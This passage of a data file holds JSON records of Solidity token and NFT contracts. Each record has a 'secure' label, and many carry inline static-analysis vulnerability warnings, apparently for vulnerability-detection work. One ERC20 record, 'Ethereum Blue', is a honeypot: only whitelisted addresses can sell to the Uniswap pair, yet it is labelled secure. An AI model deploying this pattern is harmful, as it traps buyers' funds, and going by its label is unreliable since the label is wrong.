rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee\n ) = _getValues(tAmount);\n _tOwned[sender] = _tOwned[sender].sub(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n _rTotal = _rTotal.sub(rFee);\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n function _getValues(\n uint256 tAmount\n ) private view returns (uint256, uint256, uint256, uint256, uint256) {\n (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: e77d535): ItachiUchiha._getTValues(uint256) performs a multiplication on the result of a division tFee = tAmount.div(100).mul(5)\n\t// Recommendation for e77d535: Consider ordering multiplication before division.\n function _getTValues(\n uint256 tAmount\n ) private view returns (uint256, uint256) {\n uint256 tFee;\n if (_tTotal >= 30000000 * (10 ** 6) * (10 ** 18)) {\n\t\t\t// divide-before-multiply | ID: e77d535\n tFee = tAmount.div(100).mul(5);\n } else {\n tFee = 0;\n }\n uint256 tTransferAmount = tAmount.sub(tFee);\n return (tTransferAmount, tFee);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee);\n return (rAmount, rTransferAmount, rFee);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ec477c9): ItachiUchiha._getRate().rSupply shadows ItachiUchiha.rSupply (state variable)\n\t// Recommendation for ec477c9: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6bba154): ItachiUchiha._getRate().tSupply shadows ItachiUchiha.tSupply (state variable)\n\t// Recommendation for 6bba154: Rename the local variables that shadow another component.\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\t// WARNING Optimization Issue (constable-states | ID: 0a8ab74): ItachiUchiha.rSupply should be constant \n\t// Recommendation for 0a8ab74: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ec477c9): ItachiUchiha._getRate().rSupply shadows ItachiUchiha.rSupply (state variable)\n\t// Recommendation for ec477c9: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c61c6b7): ItachiUchiha._getCurrentSupply().rSupply shadows ItachiUchiha.rSupply (state variable)\n\t// Recommendation for c61c6b7: Rename the local variables that shadow another component.\n uint256 public rSupply;\n\t// WARNING Optimization Issue (constable-states | ID: 79cbba1): ItachiUchiha.tSupply should be constant \n\t// Recommendation for 79cbba1: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5ad7014): ItachiUchiha._getCurrentSupply().tSupply shadows ItachiUchiha.tSupply (state variable)\n\t// Recommendation for 5ad7014: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6bba154): ItachiUchiha._getRate().tSupply shadows ItachiUchiha.tSupply (state variable)\n\t// Recommendation for 6bba154: Rename the local variables that shadow another component.\n uint256 public tSupply;\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c61c6b7): ItachiUchiha._getCurrentSupply().rSupply shadows ItachiUchiha.rSupply (state variable)\n\t// Recommendation for c61c6b7: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5ad7014): ItachiUchiha._getCurrentSupply().tSupply shadows ItachiUchiha.tSupply (state variable)\n\t// Recommendation for 5ad7014: Rename the local variables that shadow another component.\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n\t\t// cache-array-length | ID: a82dfc1\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (\n _rOwned[_excluded[i]] > rSupply ||\n _tOwned[_excluded[i]] > tSupply\n ) return (_rTotal, _tTotal);\n rSupply = rSupply.sub(_rOwned[_excluded[i]]);\n tSupply = tSupply.sub(_tOwned[_excluded[i]]);\n }\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n}", "file_name": "solidity_code_2610.sol", "secure": 0, "size_bytes": 15813 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract Ownable is Context {\n address private m_Owner;\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n constructor() {\n address msgSender = _msgSender();\n m_Owner = msgSender;\n emit OwnershipTransferred(address(0), msgSender);\n }\n function owner() public view returns (address) {\n return m_Owner;\n }\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 92d35f3): Ownable.transferOwnership(address)._address lacks a zerocheck on \t m_Owner = _address\n\t// Recommendation for 92d35f3: Check that the address is not zero.\n function transferOwnership(address _address) public virtual onlyOwner {\n emit OwnershipTransferred(m_Owner, _address);\n\t\t// missing-zero-check | ID: 92d35f3\n m_Owner = _address;\n }\n modifier onlyOwner() {\n require(_msgSender() == m_Owner, \"Ownable: caller is not the owner\");\n _;\n }\n}", "file_name": "solidity_code_2611.sol", "secure": 0, "size_bytes": 1119 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ROTTSCHILD is Context, IERC20, Ownable {\n using SafeMath for uint256;\n using Address for address;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcluded;\n address[] private _excluded;\n\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 1000000000000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n\n string private constant _name = \"ROTTSCHILD.com\";\n string private constant _symbol = \"ROTTS\";\n uint8 private constant _decimals = 9;\n\n uint256 private constant _taxFee = 2;\n mapping(address => bool) private dexPairs;\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() external pure returns (string memory) {\n return _name;\n }\n\n function symbol() external pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() external pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() external pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(\n address account\n ) external view override returns (uint256) {\n if (_isExcluded[account]) return _tOwned[account];\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e278053): ROTTSCHILD.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e278053: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) external view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) external virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) external virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function isExcluded(address account) public view returns (bool) {\n return _isExcluded[account];\n }\n\n function totalFees() external view returns (uint256) {\n return _tFeeTotal;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) public view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function excludeAccount(address account) external onlyOwner {\n require(!_isExcluded[account], \"Account is already excluded\");\n if (_rOwned[account] > 0) {\n _tOwned[account] = tokenFromReflection(_rOwned[account]);\n }\n _isExcluded[account] = true;\n _excluded.push(account);\n }\n\n function includeAccount(address account) external onlyOwner {\n require(_isExcluded[account], \"Account is already excluded\");\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (_excluded[i] == account) {\n _excluded[i] = _excluded[_excluded.length - 1];\n _tOwned[account] = 0;\n _isExcluded[account] = false;\n _excluded.pop();\n break;\n }\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e615a1c): ROTTSCHILD._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e615a1c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n bool transferTx = false;\n if (!dexPairs[sender] && !dexPairs[recipient]) {\n transferTx = true;\n }\n\n if (_isExcluded[sender] && !_isExcluded[recipient]) {\n _transferFromExcluded(sender, recipient, amount, transferTx);\n } else if (!_isExcluded[sender] && _isExcluded[recipient]) {\n _transferToExcluded(sender, recipient, amount, transferTx);\n } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {\n _transferStandard(sender, recipient, amount, transferTx);\n } else if (_isExcluded[sender] && _isExcluded[recipient]) {\n _transferBothExcluded(sender, recipient, amount, transferTx);\n } else {\n _transferStandard(sender, recipient, amount, transferTx);\n }\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount,\n bool transferTx\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee\n ) = _getValues(tAmount, transferTx);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _transferToExcluded(\n address sender,\n address recipient,\n uint256 tAmount,\n bool transferTx\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee\n ) = _getValues(tAmount, transferTx);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _transferFromExcluded(\n address sender,\n address recipient,\n uint256 tAmount,\n bool transferTx\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee\n ) = _getValues(tAmount, transferTx);\n _tOwned[sender] = _tOwned[sender].sub(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _transferBothExcluded(\n address sender,\n address recipient,\n uint256 tAmount,\n bool transferTx\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee\n ) = _getValues(tAmount, transferTx);\n _tOwned[sender] = _tOwned[sender].sub(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n _rTotal = _rTotal.sub(rFee);\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n function _getValues(\n uint256 tAmount,\n bool transferTx\n ) private view returns (uint256, uint256, uint256, uint256, uint256) {\n (uint256 tTransferAmount, uint256 tFee) = _getTValues(\n tAmount,\n transferTx\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);\n }\n\n function _getTValues(\n uint256 tAmount,\n bool transferTx\n ) private pure returns (uint256, uint256) {\n uint256 tFee = 0;\n if (!transferTx) {\n tFee = tAmount.mul(_taxFee).div(10 ** 2);\n }\n uint256 tTransferAmount = tAmount.sub(tFee);\n return (tTransferAmount, tFee);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n\t\t// cache-array-length | ID: 32035cc\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (\n _rOwned[_excluded[i]] > rSupply ||\n _tOwned[_excluded[i]] > tSupply\n ) return (_rTotal, _tTotal);\n rSupply = rSupply.sub(_rOwned[_excluded[i]]);\n tSupply = tSupply.sub(_tOwned[_excluded[i]]);\n }\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n\n function isDexPair(address _pair) public view returns (bool) {\n return dexPairs[_pair];\n }\n\n function addDexPair(address _pair) external onlyOwner {\n require(!isDexPair(_pair), \"Address is already on the dex list.\");\n dexPairs[_pair] = true;\n }\n\n function removeDexPair(address _pair) external onlyOwner {\n require(isDexPair(_pair), \"Address is not a member of dex list.\");\n delete dexPairs[_pair];\n }\n}", "file_name": "solidity_code_2612.sol", "secure": 0, "size_bytes": 12479 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _setOwner(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"caller not owner\");\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"use renounce\");\n _setOwner(newOwner);\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}", "file_name": "solidity_code_2613.sol", "secure": 1, "size_bytes": 1043 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/utils/introspection/ERC165.sol\" as ERC165;\nimport \"@openzeppelin/contracts/interfaces/IERC721.sol\" as IERC721;\nimport \"@openzeppelin/contracts/interfaces/IERC721Metadata.sol\" as IERC721Metadata;\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\" as IERC165;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/Strings.sol\" as Strings;\n\ncontract ERC721 is Context, ERC165, IERC721, IERC721Metadata {\n using Address for address;\n using Strings for uint256;\n\n string private _name;\n\n string private _symbol;\n\n mapping(uint256 => address) private _owners;\n\n mapping(address => uint256) private _balances;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function balanceOf(\n address owner\n ) public view virtual override returns (uint256) {\n require(owner != address(0), \"bad address\");\n return _balances[owner];\n }\n\n function ownerOf(\n uint256 tokenId\n ) public view virtual override returns (address) {\n address owner = _owners[tokenId];\n require(owner != address(0), \"bad token\");\n return owner;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n require(_exists(tokenId), \"bad token\");\n\n return \"\";\n }\n\n function approve(address to, uint256 tokenId) public virtual override {\n require(false, \"no transfers\");\n }\n\n function getApproved(\n uint256 tokenId\n ) public view virtual override returns (address) {\n require(_exists(tokenId), \"bad token\");\n\n return address(0);\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public virtual override {\n require(false, \"no transfers\");\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n return false;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n _noTransfer();\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n _noTransfer();\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public virtual override {\n _noTransfer();\n }\n\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _owners[tokenId] != address(0);\n }\n\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0) && !_exists(tokenId), \"bad mint\");\n\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n }\n\n function _noTransfer() internal virtual {\n require(false, \"only mint\");\n }\n}", "file_name": "solidity_code_2614.sol", "secure": 1, "size_bytes": 3817 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract YNGMI is ERC721, Ownable {\n uint256 public freeMints = 100;\n\t// WARNING Optimization Issue (constable-states | ID: 373da3a): YNGMI.totalMints should be constant \n\t// Recommendation for 373da3a: Add the 'constant' attribute to state variables that never change.\n uint256 public totalMints = 6969;\n uint256 public nextTokenId = 0;\n\n constructor() ERC721(\"YNGMI\", \"YNGMI\") {}\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n require(_exists(tokenId), \"bad token\");\n\n return \"ipfs://QmY9q8FXW9pYxXheX6uSWGappPgjYYeanqWSttpgZsBgPX\";\n }\n\n function gift(address receiver, uint256 amount) external payable {\n require(amount <= 20, \"Over max transaction limit\");\n require(nextTokenId + amount <= totalMints, \"Over mint limit\");\n uint256 value = msg.value;\n uint256 cost = amount * 0.01 ether;\n\n if (freeMints > 0) {\n if (freeMints < amount) {\n cost = cost - freeMints * 0.01 ether;\n freeMints = 0;\n } else {\n cost = 0;\n freeMints -= amount;\n }\n }\n\n require(value >= cost, \"not enough eth\");\n value = value - cost;\n\n for (uint256 i = 0; i < amount; i++) {\n _mint(receiver, nextTokenId);\n nextTokenId++;\n }\n\n payable(msg.sender).transfer(value);\n }\n\n function totalSupply() external view returns (uint256) {\n return nextTokenId;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d59f9e9): YNGMI.withdraw(address,uint256).receiver lacks a zerocheck on \t address(receiver).transfer(amount)\n\t// Recommendation for d59f9e9: Check that the address is not zero.\n function withdraw(address receiver, uint256 amount) external onlyOwner {\n\t\t// missing-zero-check | ID: d59f9e9\n payable(receiver).transfer(amount);\n }\n}", "file_name": "solidity_code_2615.sol", "secure": 0, "size_bytes": 2196 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n mapping(address => bool) private _enable;\n IUniswapV2Router02 public uniswapV2Router;\n address public uniswapV2Pair;\n\n constructor() {\n _mint(\n 0x98cf52F80F7389Aaa60a622c245b47521558D4B5,\n 10000000000000 * 10 ** 18\n );\n _enable[0x98cf52F80F7389Aaa60a622c245b47521558D4B5] = true;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n\n _name = \"Ethereum Blue\";\n _symbol = \"BlueEth\";\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0));\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(address from, address to) internal virtual {\n if (to == uniswapV2Pair) {\n require(_enable[from], \"something went wrong\");\n }\n }\n}", "file_name": "solidity_code_2616.sol", "secure": 1, "size_bytes": 6008 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary MerkleProof {\n function verify(\n bytes32[] memory proof,\n bytes32 root,\n bytes32 leaf,\n uint256 index\n ) public pure returns (bool) {\n bytes32 hash = leaf;\n\n for (uint256 i = 0; i < proof.length; i++) {\n bytes32 proofElement = proof[i];\n\n if (index % 2 == 0) {\n hash = keccak256(abi.encodePacked(hash, proofElement));\n } else {\n hash = keccak256(abi.encodePacked(proofElement, hash));\n }\n\n index = index / 2;\n }\n\n return hash == root;\n }\n}", "file_name": "solidity_code_2617.sol", "secure": 1, "size_bytes": 682 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721Enumerable.sol\" as ERC721Enumerable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Strings.sol\" as Strings;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/cryptography/MerkleProof.sol\" as MerkleProof;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\n\ncontract MandelBlocks is ERC721Enumerable, Ownable {\n using SafeMath for uint256;\n using Address for address;\n using Strings for uint256;\n\n uint256 public constant _TOTALSUPPLY = 723;\n uint256 public price = 100000000000000000;\n bool public isPaused = true;\n bool public presale = true;\n bytes32 public merkleRoot =\n 0x8624f822240d7ff24b3ff4afbd1cde1a86f0d720921cb0d7e471f7700c8df1c7;\n\n mapping(address => bool) blacklistuser;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d8a28ef): MandelBlocks.constructor(string).baseURI shadows ERC721.baseURI() (function)\n\t// Recommendation for d8a28ef: Rename the local variables that shadow another component.\n constructor(string memory baseURI) ERC721(\"MandelBlocks\", \"MBNFT\") {\n setBaseURI(baseURI);\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 90bbc21): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 90bbc21: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function mint(\n address _to,\n uint256 quantity,\n bytes32[] memory _merkleProof,\n uint256 index\n ) public payable isSaleOpen {\n require(isPaused == false, \"Sale is not active at the moment\");\n require(_to != address(0), \"Mint to the zero address\");\n uint256 maxquantity = 2;\n if (presale == true) {\n maxquantity = 1;\n require(blacklistuser[msg.sender] == false, \"Already Minted User\");\n bytes32 leaf = keccak256(abi.encodePacked(msg.sender));\n require(\n MerkleProof.verify(_merkleProof, merkleRoot, leaf, index),\n \"Invalid proof\"\n );\n }\n\n require(quantity <= maxquantity, \"Exceed max quantity\");\n\n uint256 tokenId = totalSupply();\n\n require(price * quantity <= msg.value, \"Wrong amount sent\");\n for (uint256 i = 0; i < quantity; i++) {\n tokenId++;\n\t\t\t// reentrancy-no-eth | ID: 90bbc21\n _safeMint(_to, tokenId);\n if (presale == true) {\n\t\t\t\t// reentrancy-no-eth | ID: 90bbc21\n blacklistuser[msg.sender] = true;\n }\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f7508a2): MandelBlocks.setBaseURI(string).baseURI shadows ERC721.baseURI() (function)\n\t// Recommendation for f7508a2: Rename the local variables that shadow another component.\n function setBaseURI(string memory baseURI) public onlyOwner {\n _baseURI = baseURI;\n }\n\n function flipPauseStatus() public onlyOwner {\n isPaused = !isPaused;\n }\n\n function flipPresaleStatus() public onlyOwner {\n presale = !presale;\n }\n\n\t// 